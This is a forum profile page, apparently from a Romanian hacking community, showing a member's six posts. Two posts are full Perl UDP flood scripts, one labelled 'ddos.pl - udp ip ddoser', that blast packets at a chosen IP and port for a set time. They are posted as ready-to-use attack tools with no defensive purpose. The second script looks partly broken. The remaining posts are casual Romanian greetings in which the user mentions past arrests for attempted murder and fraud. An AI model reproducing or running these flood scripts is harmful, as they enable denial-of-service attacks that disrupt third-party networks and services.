Jump to content

psihicdeliric

Members
  • Posts

    6
  • Joined

  • Last visited

About psihicdeliric

  • Birthday 01/01/1987

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

psihicdeliric's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. !/usr/bin/perl ############## # udp flood. ############## use Socket; use strict; if ($#ARGV != 3) { print "flood.pl <ip> <port> <size> <time>\n\n"; print " port=0: use random ports\n"; print " size=0: use random size between 64 and 1024\n"; print " time=0: continuous flood\n"; exit(1); } my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n"; print "Break with Ctrl-C\n" unless $time; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  2. #!/usr/bin/perl ##################################################### # Ip FuckZ0r # # By nevermind # # ddos.pl - udp ip ddoser # ###################################################### use Socket; $ARGC=@ARGV; if ($ARGC !=3) { printf "$0 <ip> <port> <timp>\n"; printf "if arg1/2 =0, pachete orice marime / atac pe orice port\n"; exit(1); } my ($ip,$port,$size,$time); $ip=$ARGV[0]; $port=$ARGV[1]; $time=$ARGV[2]; socket(crazy, PF_INET, SOCK_DGRAM, 17); $iaddr = inet_aton("$ip"); printf "::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Made By nevermind ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Udp Fast Flooder ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Connection Speed 1 ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Ip/Connection 500 ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Target Info Set ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Attack started ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: 65500 Sent Ctrl+C To Stop ::::::::::::::::::::::::::::::::::::::::::::::::::::::: \n"; if ($ARGV[1] ==0 && $ARGV[2] ==0) { goto randpackets; } if ($ARGV[1] !=0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto packets; } if ($ARGV[1] !=0 && $ARGV[2] ==0) { goto packets; } if ($ARGV[1] ==0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto randpackets; } packets: for ( { $size=$rand x $rand x $rand; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); } randpackets: for ( { $size=$rand x $rand x $rand; $port=int(rand 65500) +1; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }[/Qcode]
  3. app prin 2010 ultima data aveam ceva skills prin perl,c++,python,visul basic.......
  4. Pentru tentativa de omor prima data si a 2-a oara arestat din " parnaie " pentru inselaciune " metoda accidentul "
  5. Na pai am fost arestat prin 2010 si am iesit acum....sper sa intelegi.
  6. Salut Comunitate RST. Va Stiu Cam Din 2005-2006 , Am Fost Putin Plecat......Ma Bucur Ca Sunteti Tot Aici. Bine V-am Regasit.
×
×
  • Create New...